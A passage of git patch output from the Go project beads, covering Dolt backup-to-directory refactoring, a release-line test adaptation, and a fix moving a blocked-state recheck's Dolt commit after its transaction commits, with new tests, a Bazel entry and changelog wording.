versioncontrolops.BackupSync(ctx, db, conflict); syncErr != nil { - return fmt.Errorf("sync to backup: %w", syncErr) - } - return nil - } - return fmt.Errorf("register backup remote: %w", err) - } - if err := versioncontrolops.BackupSync(ctx, db, backupName); err != nil { - return fmt.Errorf("sync to backup: %w", err) - } - return nil + return versioncontrolops.BackupToDir(ctx, db, db, dir) }) } diff --git a/internal/storage/versioncontrolops/backup.go b/internal/storage/versioncontrolops/backup.go index 56acacf27..d8dd44a4d 100644 --- a/internal/storage/versioncontrolops/backup.go +++ b/internal/storage/versioncontrolops/backup.go @@ -3,10 +3,16 @@ package versioncontrolops import ( "context" "fmt" + "os" "path/filepath" "strings" ) +// ExportBackupName is the Dolt backup remote the auto-backup path registers +// for its local backup directory. `bd backup init` registers a different +// name, so the two can coexist until they point at the same address. +const ExportBackupName = "backup_export" + // BackupAdd registers a Dolt backup destination. func BackupAdd(ctx context.Context, db DBConn, name, url string) error { if _, err := db.ExecContext(ctx, "CALL DOLT_BACKUP('add', ?, ?)", name, url); err != nil { @@ -47,6 +53,55 @@ func BackupRestore(ctx context.Context, db DBConn, url, dbName string, force boo return nil } +// CurrentCommit returns the hash of the current HEAD commit. +func CurrentCommit(ctx context.Context, db DBConn) (string, error) { + var hash string + if err := db.QueryRowContext(ctx, "SELECT DOLT_HASHOF('HEAD')").Scan(&hash); err != nil { + return "", fmt.Errorf("failed to get current commit: %w", err) + } + return hash, nil +} + +// BackupToDir registers dir as the ExportBackupName file:// backup remote and +// syncs the full database to it, preserving complete commit history. dir must +// already exist on this machine. +// +// register carries the remote add/remove; sync carries DOLT_BACKUP('sync'), +// which streams the database and can outlive a pooled connection's read +// deadline, so a caller that has one hands in a long-timeout connection there. +// A caller with a single connection passes it for both. +// +// Registration is idempotent (remove, then add). When another remote — e.g. +// the one `bd backup init` registered — already holds the same address, Dolt +// refuses the add; the sync then goes through that remote's name instead. +func BackupToDir(ctx context.Context, register, sync DBConn, dir string) error { + info, err := os.Stat(dir) + if err != nil { + return fmt.Errorf("backup destination does not exist: %w", err) + } + if !info.IsDir() { + return fmt.Errorf("backup destination is not a directory: %s", dir) + } + backupURL, err := DirToFileURL(dir) + if err != nil { + return err + } + + name := ExportBackupName + _ = BackupRemove(ctx, register, name) + if err := BackupAdd(ctx, register, name, backupURL); err != nil { + conflict := ExtractAddressConflictName(err) + if conflict == "" { + return fmt.Errorf("register backup remote: %w", err) + } + name = conflict + } + if err := BackupSync(ctx, sync, name); err != nil { + return fmt.Errorf("sync to backup: %w", err) + } + return nil +} + // DirToFileURL resolves dir to an absolute path and returns a file:// URL. // // An input that already carries a scheme is rejected rather than prefixed. diff --git a/internal/storage/versioncontrolops/backup_test.go b/internal/storage/versioncontrolops/backup_test.go index d58df7660..907b0c29c 100644 --- a/internal/storage/versioncontrolops/backup_test.go +++ b/internal/storage/versioncontrolops/backup_test.go @@ -1,7 +1,10 @@ package versioncontrolops import ( + "context" "fmt" + "os" + "path/filepath" "strings" "testing" ) @@ -74,3 +77,29 @@ func TestExtractAddressConflictName(t *testing.T) { }) } } + +// TestBackupToDirRefusesMissingOrFileDestination pins the local-directory +// precondition every auto-backup caller (embedded, sql-server and proxied) +// now shares. It fails before any SQL is issued, so nil connections are safe: +// a regression that reached the server first would panic here. +func TestBackupToDirRefusesMissingOrFileDestination(t *testing.T) { + dir := t.TempDir() + file := filepath.Join(dir, "not-a-dir") + if err := os.WriteFile(file, nil, 0o600); err != nil { + t.Fatal(err) + } + + for _, tc := range []struct { + name, dir, want string + }{ + {name: "missing", dir: filepath.Join(dir, "absent"), want: "does not exist"}, + {name: "file", dir: file, want: "is not a directory"}, + } { + t.Run(tc.name, func(t *testing.T) { + err := BackupToDir(context.Background(), nil, nil, tc.dir) + if err == nil || !strings.Contains(err.Error(), tc.want) { + t.Fatalf("BackupToDir(%q) error = %v, want one containing %q", tc.dir, err, tc.want) + } + }) + } +} From d15081d60e65f95752fa9cd821cd80498716d8d1 Mon Sep 17 00:00:00 2001 From: Gas City Adopt-PR Date: Tue, 29 Sep 2026 04:10:59 +0000 Subject: [PATCH 208/624] test(release-1.3.x): capability matrix expects proxied bd dolt commit to be honored after #6499 [NOT a cherry-pick] Release-only test adaptation. cmd/bd/topology_capability_matrix_test.go exists only on the release line (#6579 [release/1.3.0]); main has no copy, so the #6499 pick could not update it. Its "dolt commit" row still expected the proxy.dolt_commit.unsupported refusal on every proxied topology, which #6499 removes (capability_registry.go: permitted("dolt commit")). The row now expects HONORED on proxied topologies, matching the registry. Before this change TestManagedLocalProxiedCapabilityMatrix failed on the dolt commit cell, and every later refusal cell then reported "proxy started for a refused command" because the honored commit had started the proxy. No other expectation changes. Co-Authored-By: Claude Opus 5.5 --- cmd/bd/topology_capability_matrix_test.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/cmd/bd/topology_capability_matrix_test.go b/cmd/bd/topology_capability_matrix_test.go index 5d79a2bd0..b7d11c5f3 100644 --- a/cmd/bd/topology_capability_matrix_test.go +++ b/cmd/bd/topology_capability_matrix_test.go @@ -312,10 +312,10 @@ var capabilityProbes = []probe{ direct: expectation{ outcome: outcomeHonored, reason: reasonNA, }, + // Routed on every proxied topology by runDoltCommitProxiedServer + // (#6499): it is the flush point dolt.auto-commit=batch/off defers to. proxied: expectation{ - outcome: outcomeRefusedTyped, code: "proxy.dolt_commit.unsupported", - substr: "dolt commit is not supported in proxied-server mode", - reason: reasonUnimplemented, + outcome: outcomeHonored, reason: reasonNA, }, }, { From 73018a69ebff9f7d347bddff68f0759785f89cfa Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 21:20:51 -0700 Subject: [PATCH 209/624] fix(dolt): publish the blocked-state recheck after its transaction commits (#6876) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dolt): publish the blocked-state recheck after its transaction commits Post-merge review of #6719 (landed 511849496..1ed5b3330) raised two majors against the post-commit blocked-state recheck. Both are fixed here. 1. Publication ordering. recheckBlockedAfterCommit minted its Dolt commit with doltAddAndCommitInTx while its own recompute transaction was still open. That helper's doc block declares the ordering a live production-observed lost-update hazard (LatentLabsSpace/NEXUS#92): DOLT_ADD stages the whole table from the session's BEGIN-time root, so the minted commit writes every concurrently committed row in the staged tables back to its BEGIN-time value. The recheck is the worst possible adopter, because it runs precisely and only when concurrent unblocking writes are racing on issues. It now mirrors runIssueOperationTxWithMessage: the recompute runs alone inside withRetryTx, its IssueRowsChanged verdict is captured by plain assignment, and doltAddAndCommitPostTx publishes after the SQL transaction has committed, against the post-merge root. A failed trailing commit is accounted like that path's — post_tx_commit_dropped plus a log line — and not as a recheck failure, because the flag repair itself is committed and durable, so telling an operator the rows may be stale and prescribing `bd recompute-blocked` would be false. 2. Test evidence. The wiring from a committed public write to the post-commit recheck had no regression pin on either tier: deleting both Dolt runner tails left the whole TestCloseRecheckBlocked suite green, because those tests either call recheckBlockedAfterCommit themselves or take the pending set out of the transaction before the runner can. TestCloseRecheckBlocked_RunnerTailRechecksACommittedWrite now drives the race through withRetryTx and withWriteTx, one arm each (they carry separate tail calls), and asserts the dependent settles with no help from the test; each arm reads the dependent's flag inside the write's own transaction first, so a collapsed race window fails loudly instead of passing vacuously. TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded does the same for withConn's tail on the serialized embedded tier, leaving the pending set in the transaction for the store to take. That embedded pin needed a second pass: its first form asserted on types.Issue.IsBlocked, which GetIssue never hydrates — is_blocked is not in sqlbuild.IssueBaseColumns — so the assertion could not fail and the arm survived deleting the tail. It now reads the stored flag through embeddedIsBlocked. The pre-existing "graph ends settled" assertion in the sibling test had the same defect and is fixed the same way, with its comment corrected to say what it actually pins (the in-transaction recompute, since each write there takes its own pending set). The ordering itself cannot be pinned behaviorally — the hazard needs a writer that commits inside the recheck's own transaction window, and no seam exposes it — so it gets a structural guard in the shape the journal- and version-scope completeness guards already use, with liveness anchors so a rename cannot turn it into a tautology. Restoring the in-tx ordering leaves every behavioral test in the package green and reds only that guard, which is why it is here. Mutation evidence for both pins, re-measured for this push. Deleting all three runner tails (both Dolt, plus embedded withConn) reds exactly the two new tests — both arms of the Dolt one at close_recheck_blocked_test.go:240, and the embedded one at blocked_recheck_internal_test.go:180 — and nothing else in either package. Restoring the in-tx publication ordering reds only TestPostCommitRecheckPublishesOutsideItsTransaction. The non-gating disclosure corrections the same review raised ride the next commit. The rest — a recheck-scope completeness test, noteBlockedRecheck on the sibling in-transaction recomputes, and routing RemoveDependencyWithOptions through withRetryTx — stay out of this PR and are tracked as beads. Co-Authored-By: Claude Opus 5 * docs(blocked-recheck): correct the residue claim and the out-of-scope list Three non-gating items from the same post-merge review of #6719, all disclosure rather than behavior. blocked_recheck.go's package doc claimed the writes it does not record can at worst leave a dependent "flagged ready while blocked". A sibling comment two files away refutes that universal: addDependencyInTx documents that parent-child adds are not monotonic, because adding an already-closed child can satisfy an any-children waits-for gate. So an add of a still-open child racing the close of that child strands the waiter in the other direction — flagged blocked while ready and hidden from `bd ready`, which is the #6716 shape the recheck exists to fix, reached through `bd dep add` or `bd create --parent`. The doc now states both directions. Recording the add paths is the code fix, and it stays tracked separately. The CHANGELOG's list of writes that still need the `bd doctor` / `bd recompute-blocked` repair named `bd batch`, `bd cook`, `bd mol squash`, `bd mol burn`, `bd duplicates --merge` and the wisp writes, but not the proxied-server route: under `--proxied-server` the ordinary single verbs are served by the uow provider (`bd close` reaches runCloseProxiedServer and its BatchCloser), and no uow write is scoped. A proxied-mode operator reading that list would have concluded their plain `bd close` races were fixed. The code doc already disclosed this correctly; only the user-facing text did not. closeIssueInTx hand-concatenated its recheck label instead of calling statusChangeRecheckLabel, which exists so that a close through update and a close through CloseIssue mint the same message. The helper returns the identical string for the closed status, so no recheck commit message moves — close_recheck_blocked_test.go:129 and :242 still assert the same text and still pass. Co-Authored-By: Claude Opus 5 * build(bazel): add the recheck publication guard to the dolt_test srcs The post-merge review of #6719 found that this PR's own new test file, internal/storage/dolt/blocked_recheck_publication_test.go, never reached the go_test(name = "dolt_test") target. That target uses a gazelle-managed explicit srcs list -- it names close_recheck_blocked_test.go and journal_scope_completeness_test.go -- and the new file was missing from it, so `bazel test` silently skipped the only pin on the ordering half of the finding-1 fix. Nothing caught it. The package's go_srcs filegroup is a glob(["**/*.go"]), and `make bazel-sync-check` (tools/bazel/go_srcs.py --check) plus scripts/bazel_policy_test.go only ever compare those glob filegroups, never a go_test srcs list, so the sync check stays green while the target drops the file. The glob filegroup sitting next to the explicit list is a decoy: `bazel query 'kind("source file", deps(...))'` also reports the file as present through it, and only `labels(srcs, //internal/storage/dolt:dolt_test)` distinguishes the two -- that query returns the file with this line and returns nothing without it. Generated with `bazel run //:gazelle` and reduced to this PR's own file. The same run also wants to touch twelve other BUILD.bazel files and to add cli_mirror_ref_test.go to this same list; all of that drift reproduces byte-identically from this branch's base commit with no part of this PR applied, so it belongs to whoever landed those files, not here. //internal/storage/dolt:dolt_test builds with the entry added, so the file needs no new dep -- journalscan was already in the target's deps. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 7 +- internal/storage/dolt/BUILD.bazel | 1 + .../dolt/blocked_recheck_publication_test.go | 63 ++++++++++ .../dolt/close_recheck_blocked_test.go | 116 ++++++++++++++++-- internal/storage/dolt/store.go | 41 ++++++- .../blocked_recheck_internal_test.go | 92 ++++++++++++-- internal/storage/issueops/blocked_recheck.go | 10 +- internal/storage/issueops/close.go | 2 +- 8 files changed, 311 insertions(+), 21 deletions(-) create mode 100644 internal/storage/dolt/blocked_recheck_publication_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 724c3ed08..c9e7144ea 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -96,8 +96,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 reach the database another way still need the `bd doctor` / `bd recompute-blocked` repair they needed before: `bd batch` (on both its plain and its proxied transaction), `bd cook`, `bd mol squash`, - `bd mol burn`, `bd duplicates --merge`, and the wisp writes — closes, - updates, deletes and demote-to-wisp. + `bd mol burn`, `bd duplicates --merge`, the wisp writes — closes, updates, + deletes and demote-to-wisp — and every write served through the + proxied-server (uow/domain-db) route, which under `--proxied-server` is the + ordinary single verbs as well: `bd close`, `bd update`, `bd delete` and + `bd dep remove`. - **`bd list --watch --format` is refused instead of silently dropping the diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 2ed025fc3..186326d6c 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -137,6 +137,7 @@ go_test( "blocked_consistency_test.go", "blocked_full_repair_test.go", "blocked_merge_test.go", + "blocked_recheck_publication_test.go", "blocked_recompute_guard_test.go", "blocking_annotator_contract_test.go", "bootstrap_test.go", diff --git a/internal/storage/dolt/blocked_recheck_publication_test.go b/internal/storage/dolt/blocked_recheck_publication_test.go new file mode 100644 index 000000000..86676e212 --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_publication_test.go @@ -0,0 +1,63 @@ +package dolt + +import ( + "testing" + + "github.com/steveyegge/beads/internal/storage/journalscan" +) + +// TestPostCommitRecheckPublishesOutsideItsTransaction is the structural guard +// for the recheck's publication ordering (the lost-update hazard +// doltAddAndCommitInTx documents, LatentLabsSpace/NEXUS#92). +// +// The hazard needs a writer that commits inside the recheck's OWN transaction +// window, and nothing in the store exposes that window to a test: the recheck +// body is not test-supplied, so the in-transaction ordering cannot be turned +// into a red assertion the way the runner tails can +// (close_recheck_blocked_test.go). Restoring it would therefore be invisible — +// every test in this package stays green either way — which is exactly the +// situation the journal- and version-scope completeness guards exist for, so +// the ordering gets the same kind of defense. +// +// Known limit, shared with those guards: the check is name-based over this +// package's syntax. It covers a publication call anywhere in the recheck's own +// body, including inside the transaction closure it passes to withRetryTx +// (journalscan walks nested function literals), but not one moved out into a +// named helper of its own. The liveness anchors below are what keep a rename +// from turning the whole guard into a tautology. +func TestPostCommitRecheckPublishesOutsideItsTransaction(t *testing.T) { + fns, err := journalscan.ParsePackage(".") + if err != nil { + t.Fatalf("parse dolt package: %v", err) + } + + const ( + inTx = "doltAddAndCommitInTx" + postTx = "doltAddAndCommitPostTx" + recheck = "DoltStore.recheckBlockedAfterCommit" + // Anchors: one function known to publish with each ordering. + knownInTxPublisher = "DoltStore.demoteToWispInTx" + knownPostTxPublisher = "DoltStore.runIssueOperationTxWithMessage" + ) + publishes := func(key, helper string) bool { + f := fns[key] + if f == nil { + t.Fatalf("%s is not in the parsed package — this guard is not measuring what it names", key) + } + return f.CallsAnyOf(map[string]bool{helper: true}) + } + + if !publishes(knownInTxPublisher, inTx) { + t.Fatalf("%s no longer reads as an in-transaction publisher: the %s analysis is broken, so its verdict on %s means nothing", knownInTxPublisher, inTx, recheck) + } + if !publishes(knownPostTxPublisher, postTx) { + t.Fatalf("%s no longer reads as a post-transaction publisher: the %s analysis is broken, so its verdict on %s means nothing", knownPostTxPublisher, postTx, recheck) + } + + if publishes(recheck, inTx) { + t.Fatalf("%s publishes with %s: DOLT_ADD stages the whole table from the transaction's BEGIN-time root, so a Dolt commit minted inside the recheck's own transaction writes every concurrently committed row back to its BEGIN-time value — and a recheck runs only when concurrent unblocking writes are racing. Publish with %s after the transaction commits instead.", recheck, inTx, postTx) + } + if !publishes(recheck, postTx) { + t.Fatalf("%s no longer publishes with %s: a corrected is_blocked flag that reaches no Dolt commit sits dirty in the working set until an unrelated write sweeps it in", recheck, postTx) + } +} diff --git a/internal/storage/dolt/close_recheck_blocked_test.go b/internal/storage/dolt/close_recheck_blocked_test.go index f7fcca35d..bbbb90ed1 100644 --- a/internal/storage/dolt/close_recheck_blocked_test.go +++ b/internal/storage/dolt/close_recheck_blocked_test.go @@ -5,6 +5,8 @@ import ( "database/sql" "errors" "slices" + "strings" + "sync" "testing" "github.com/steveyegge/beads/internal/storage/issueops" @@ -14,12 +16,19 @@ import ( // seedSiblingBlockers creates rb-a and rb-b, both blocking rb-c. func seedSiblingBlockers(t *testing.T, ctx context.Context, store *DoltStore) { t.Helper() - for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + seedSiblingBlockersAs(t, ctx, store, "rb-a", "rb-b", "rb-c") +} + +// seedSiblingBlockersAs is seedSiblingBlockers for a named triple, so one store +// can carry more than one independent fixture. +func seedSiblingBlockersAs(t *testing.T, ctx context.Context, store *DoltStore, blockerA, blockerB, dependent string) { + t.Helper() + for _, id := range []string{blockerA, blockerB, dependent} { createPerm(t, ctx, store, id) } - addDependency(t, ctx, store, "rb-c", "rb-a", types.DepBlocks) - addDependency(t, ctx, store, "rb-c", "rb-b", types.DepBlocks) - assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + addDependency(t, ctx, store, dependent, blockerA, types.DepBlocks) + addDependency(t, ctx, store, dependent, blockerB, types.DepBlocks) + assertIsBlocked(t, ctx, store, "issues", dependent, true) } // beginRacingWrite opens a transaction on its own pooled connection, pins its @@ -28,6 +37,13 @@ func seedSiblingBlockers(t *testing.T, ctx context.Context, store *DoltStore) { // paths do. It returns the dependents the write recorded for the post-commit // recheck and a commit step that lands the write and frees the connection. func beginRacingWrite(t *testing.T, ctx context.Context, store *DoltStore, name string, write func(tx *sql.Tx) error) (pending issueops.BlockedRecheck, commit func()) { + t.Helper() + return beginRacingWriteOn(t, ctx, store, name, []string{"rb-a", "rb-b"}, write) +} + +// beginRacingWriteOn is beginRacingWrite for a named fixture: blockers are the +// ids whose open state pins the snapshot. +func beginRacingWriteOn(t *testing.T, ctx context.Context, store *DoltStore, name string, blockers []string, write func(tx *sql.Tx) error) (pending issueops.BlockedRecheck, commit func()) { t.Helper() conn, err := store.db.Conn(ctx) if err != nil { @@ -39,13 +55,20 @@ func beginRacingWrite(t *testing.T, ctx context.Context, store *DoltStore, name } clearScope := issueops.ScopeBlockedRecheckTransaction(tx) defer clearScope() + placeholders := make([]string, 0, len(blockers)) + args := make([]any, 0, len(blockers)) + for _, id := range blockers { + placeholders = append(placeholders, "?") + args = append(args, id) + } var open int if err := tx.QueryRowContext(ctx, - "SELECT COUNT(*) FROM issues WHERE id IN ('rb-a', 'rb-b') AND status <> 'closed'").Scan(&open); err != nil { + "SELECT COUNT(*) FROM issues WHERE id IN ("+strings.Join(placeholders, ", ")+") AND status <> 'closed'", + args...).Scan(&open); err != nil { t.Fatalf("pin snapshot for %s: %v", name, err) } - if open != 2 { - t.Fatalf("snapshot for %s sees %d open blockers, want 2", name, open) + if open != len(blockers) { + t.Fatalf("snapshot for %s sees %d open blockers, want %d", name, open, len(blockers)) } if err := write(tx); err != nil { t.Fatalf("%s in tx: %v", name, err) @@ -144,6 +167,85 @@ func TestCloseRecheckBlocked_PublicClosePaths(t *testing.T) { } } +// TestCloseRecheckBlocked_RunnerTailRechecksACommittedWrite pins the wiring +// this feature IS: a write that commits on a store write runner gets its +// recorded dependents rechecked by that runner, with no help from the test. +// +// Every other test in this file reaches the recheck another way — it calls +// recheckBlockedAfterCommit itself, or takes the pending set out of the +// transaction before the runner can — so all of them stay green when both +// runner tails are deleted, and the tier #6716 was reported on had no +// regression pin on its own deliverable. +// +// Each arm makes the in-transaction recompute provably blind rather than +// hoping for an interleaving: a racing close is held open so the runner's +// transaction cannot see it, the arm reads the dependent's flag inside that +// transaction to record what its own recompute concluded, and the racing close +// is landed from inside the runner's body — before the runner commits, after +// its snapshot was taken. Only a recheck on a fresh snapshot can settle the +// dependent from there. withRetryTx and withWriteTx carry separate tail calls, +// so each gets its own arm and its own fixture. +func TestCloseRecheckBlocked_RunnerTailRechecksACommittedWrite(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, arm := range []struct { + runner string + run func(context.Context, func(*sql.Tx) error) error + racing string // closed by the transaction the runner cannot see + committed string // closed through the runner + dependent string + }{ + {"withRetryTx", store.withRetryTx, "rt-a", "rt-b", "rt-c"}, + {"withWriteTx", store.withWriteTx, "wt-a", "wt-b", "wt-c"}, + } { + t.Run(arm.runner, func(t *testing.T) { + seedSiblingBlockersAs(t, ctx, store, arm.racing, arm.committed, arm.dependent) + _, landRacingClose := beginRacingWriteOn(t, ctx, store, "close of "+arm.racing, + []string{arm.racing, arm.committed}, func(tx *sql.Tx) error { + _, err := issueops.CloseIssueInTx(ctx, tx, arm.racing, "done", "tester", "") + return err + }) + + var landed sync.Once + var blockedInTx int + if err := arm.run(ctx, func(tx *sql.Tx) error { + if _, err := issueops.CloseIssueInTx(ctx, tx, arm.committed, "done", "tester", ""); err != nil { + return err + } + // What this transaction's own recompute concluded, read before + // the racing close lands so it cannot be anything else. + if err := tx.QueryRowContext(ctx, + "SELECT is_blocked FROM issues WHERE id = ?", arm.dependent).Scan(&blockedInTx); err != nil { + return err + } + // Land the racing close inside the window: this transaction + // began before it, so its snapshot cannot include it, and the + // dependent is stale the moment this transaction commits. + // sync.Once because withRetryTx may re-run this body. + landed.Do(landRacingClose) + return nil + }); err != nil { + t.Fatalf("%s: a committed close returned %v, want nil", arm.runner, err) + } + if blockedInTx == 0 { + t.Fatalf("%s: %s was already unblocked inside the write's own transaction, so this arm measures nothing about the tail — the runner retried and re-ran the body on a snapshot that already included the racing close", arm.runner, arm.dependent) + } + + // Nothing here called recheckBlockedAfterCommit or touched the + // pending set: the runner's tail is the only thing that can have + // settled the dependent and published the correction. + assertIsBlocked(t, ctx, store, "issues", arm.dependent, false) + requireCleanTables(ctx, t, store, "issues") + if !doltHasCommitMessage(ctx, t, store, "bd: recheck blocked after close of "+arm.committed) { + t.Fatalf("%s: the recheck corrected %s but minted no Dolt commit for it", arm.runner, arm.dependent) + } + }) + } +} + // TestCloseRecheckBlocked_ConcurrentCloseAndDependencyRemoval is #6716 with a // dependency removal as the second writer: a close of rb-a racing a removal of // the rb-c -> rb-b edge. Each transaction still sees the other blocker in diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index c9122e6fb..eab238b0d 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -1290,6 +1290,20 @@ func (s *DoltStore) commitWriteTx(ctx context.Context, fn func(tx *sql.Tx) error // the corrected flag reaches history the way the close's own rows did rather // than sitting dirty in the working set. // +// Publication ordering (lost-update fix, LatentLabsSpace/NEXUS#92): the Dolt +// commit runs AFTER the recompute transaction has committed, through +// doltAddAndCommitPostTx, exactly as runIssueOperationTxWithMessage does and +// for a sharper reason than that path had. DOLT_ADD stages the whole table +// from the session's transaction root, so minting the commit inside the still +// open transaction would write every row a concurrent writer committed inside +// that window back to its BEGIN-time value — the hazard doltAddAndCommitInTx +// documents. A recheck runs precisely and only when concurrent unblocking +// writes are racing on issues, so that window is never idle here. Committing +// the SQL transaction first lets Dolt's commit-time merge reconcile this +// repair with those writers, and the post-commit staging then stages the +// merged state. This also keeps the append-only versioned-history tables that +// withVersionedHistoryTables adds to the staged set out of that hazard. +// // It runs on issueops.BlockedRecheckContext: the write it follows is durable, // so the repair must outlive that write's cancellation, and a recheck must // never start another recheck. The returned failure is for the caller to log, @@ -1300,16 +1314,39 @@ func (s *DoltStore) recheckBlockedAfterCommit(ctx context.Context, pending issue } ctx, cancel := issueops.BlockedRecheckContext(ctx) defer cancel() + var rowsChanged bool err := s.withRetryTx(ctx, func(tx *sql.Tx) error { + // Plain assignment, never |=: withRetryTx re-runs this body on a retry + // and the rolled-back attempt's verdict must not survive into the + // publication decision below (the closure contract on withRetryTx). + rowsChanged = false result, err := issueops.RecomputeIsBlockedInTxWithResult(ctx, tx, pending.IssueIDs, pending.WispIDs) - if err != nil || !result.IssueRowsChanged { + if err != nil { return err } - return s.doltAddAndCommitInTx(ctx, tx, []string{"issues"}, pending.CommitMessage()) + rowsChanged = result.IssueRowsChanged + return nil }) if err != nil { return issueops.BlockedRecheckFailed(err) } + if !rowsChanged { + return nil + } + commitMsg := pending.CommitMessage() + if err := s.doltAddAndCommitPostTx(ctx, []string{"issues"}, commitMsg); err != nil { + // The repair itself is committed and durable: only its audit commit is + // missing, and the corrected flag rides the next Dolt commit on the + // branch. This is the post_tx_commit_dropped situation, not the recheck + // failure logBlockedRecheckFailure reports — that line tells an operator + // rows are possibly stale and prescribes `bd recompute-blocked`, which + // would be false here and would fire the counter a fleet alerts on for + // rows that are already correct. Accounted exactly like + // runIssueOperationTxWithMessage's trailing commit instead. + doltMetrics.postTxCommitDropped.Add(ctx, 1) + log.Printf("dolt: post-tx dolt commit failed for %q (blocked-state repair already committed; change rides the next dolt commit): %v", + commitMsg, err) + } return nil } diff --git a/internal/storage/embeddeddolt/blocked_recheck_internal_test.go b/internal/storage/embeddeddolt/blocked_recheck_internal_test.go index d96b235d4..66cc7b806 100644 --- a/internal/storage/embeddeddolt/blocked_recheck_internal_test.go +++ b/internal/storage/embeddeddolt/blocked_recheck_internal_test.go @@ -14,6 +14,24 @@ import ( "github.com/steveyegge/beads/internal/types" ) +// embeddedIsBlocked reads the STORED is_blocked flag for id. +// +// It exists because GetIssue cannot answer this question: is_blocked is not in +// the hydrated column list (sqlbuild.IssueBaseColumns), so types.Issue.IsBlocked +// is always false on a hydrated issue and an assertion on it holds no matter +// what the flag says. The read runs with commit=false, so it takes nothing out +// of the recheck scope and triggers no recheck of its own. +func embeddedIsBlocked(t *testing.T, ctx context.Context, store *EmbeddedDoltStore, id string) bool { + t.Helper() + var blocked int + if err := store.withConn(ctx, false, func(tx *sql.Tx) error { + return tx.QueryRowContext(ctx, "SELECT is_blocked FROM issues WHERE id = ?", id).Scan(&blocked) + }); err != nil { + t.Fatalf("read is_blocked for %s: %v", id, err) + } + return blocked != 0 +} + // TestEmbeddedBlockedRecheckRecordsUnblockingWrites pins, on a real engine, // that an unblocking write running on the embedded store's own scoped // transaction records the dependents it recomputed for the post-commit @@ -92,17 +110,77 @@ func TestEmbeddedBlockedRecheckRecordsUnblockingWrites(t *testing.T) { return issueops.DeleteIssueInTx(ctx, tx, "rb-b", "") }), "delete of rb-b", "rb-b") - // Through the public surface the recheck runs after commit and the graph - // ends settled: both blockers gone, rb-c unblocked. - got, err := store.GetIssue(ctx, "rb-c") - if err != nil { - t.Fatalf("get rb-c: %v", err) - } - if got.IsBlocked { + // The graph ends settled: both blockers gone, rb-c unblocked. Each write + // above took its pending set out of the transaction, so what settled the + // flag here is the in-transaction recompute, not the post-commit recheck — + // that one is pinned by TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded. + if embeddedIsBlocked(t, ctx, store, "rb-c") { t.Fatal("rb-c is still blocked after its last blocker was deleted") } } +// TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded pins withConn's tail on +// this tier: the recheck must run for whatever the committed transaction +// recorded, with the test taking nothing out of that transaction first. The +// test above takes the pending set inside the body — which is what it is for, +// but it also means the store's tail always rechecks an empty set there, so +// nothing was measuring the tail itself. +// +// Embedded transactions serialize (see recheckBlockedAfterCommit), so the +// snapshot skew of gastownhall/beads#6716 cannot be staged here. The +// transaction instead leaves the residue that skew leaves behind — a dependent +// still flagged blocked once every blocker is closed — by closing the second +// blocker with a raw status write, which no recompute observes. That stands in +// for the concurrent writer this tier cannot host, and from there only a +// post-commit recheck of the recorded dependent can settle the flag. +func TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded(t *testing.T) { + ctx := context.Background() + store, err := Open(ctx, filepath.Join(t.TempDir(), ".beads"), "recheckafter", "main") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = store.Close() }) + if err := store.SetConfig(ctx, "issue_prefix", "rb"); err != nil { + t.Fatal(err) + } + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + iss := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("create %s: %v", id, err) + } + } + for _, blocker := range []string{"rb-a", "rb-b"} { + if err := store.AddDependency(ctx, &types.Dependency{IssueID: "rb-c", DependsOnID: blocker, Type: types.DepBlocks}, "tester"); err != nil { + t.Fatalf("add dependency rb-c -> %s: %v", blocker, err) + } + } + + var blockedInTx int + if err := store.withConn(ctx, true, func(tx *sql.Tx) error { + // Records rb-c and recomputes it: rb-b is open here, so rb-c stays + // blocked. + if _, err := issueops.CloseIssueInTx(ctx, tx, "rb-a", "done", "tester", ""); err != nil { + return err + } + // The blocker whose close no recompute sees. + if _, err := tx.ExecContext(ctx, "UPDATE issues SET status = 'closed' WHERE id = ?", "rb-b"); err != nil { + return err + } + // The pending set is deliberately left in the transaction for the + // store's own tail to take. + return tx.QueryRowContext(ctx, "SELECT is_blocked FROM issues WHERE id = ?", "rb-c").Scan(&blockedInTx) + }); err != nil { + t.Fatalf("close rb-a: %v", err) + } + if blockedInTx == 0 { + t.Fatal("rb-c was already unblocked inside the transaction, so this test measures nothing about the post-commit recheck") + } + + if embeddedIsBlocked(t, ctx, store, "rb-c") { + t.Fatal("rb-c is still blocked after a committed write recorded it: withConn's tail did not recheck what the transaction recorded") + } +} + // TestEmbeddedBlockedRecheckFailureKeepsTheWrite pins what a *failing* recheck // does at the store seam, which is the half of the contract the wrapper's unit // test cannot reach: the write it follows has already committed, so the store diff --git a/internal/storage/issueops/blocked_recheck.go b/internal/storage/issueops/blocked_recheck.go index 7204704bd..fe55241af 100644 --- a/internal/storage/issueops/blocked_recheck.go +++ b/internal/storage/issueops/blocked_recheck.go @@ -28,8 +28,14 @@ import ( // flag has to move — removing the one closed child of an any-children gate // can block its waiter, and the recheck settles that too. Writes that add a // blocker (a reopen, a dependency add, a parent-child add) recompute the same -// way 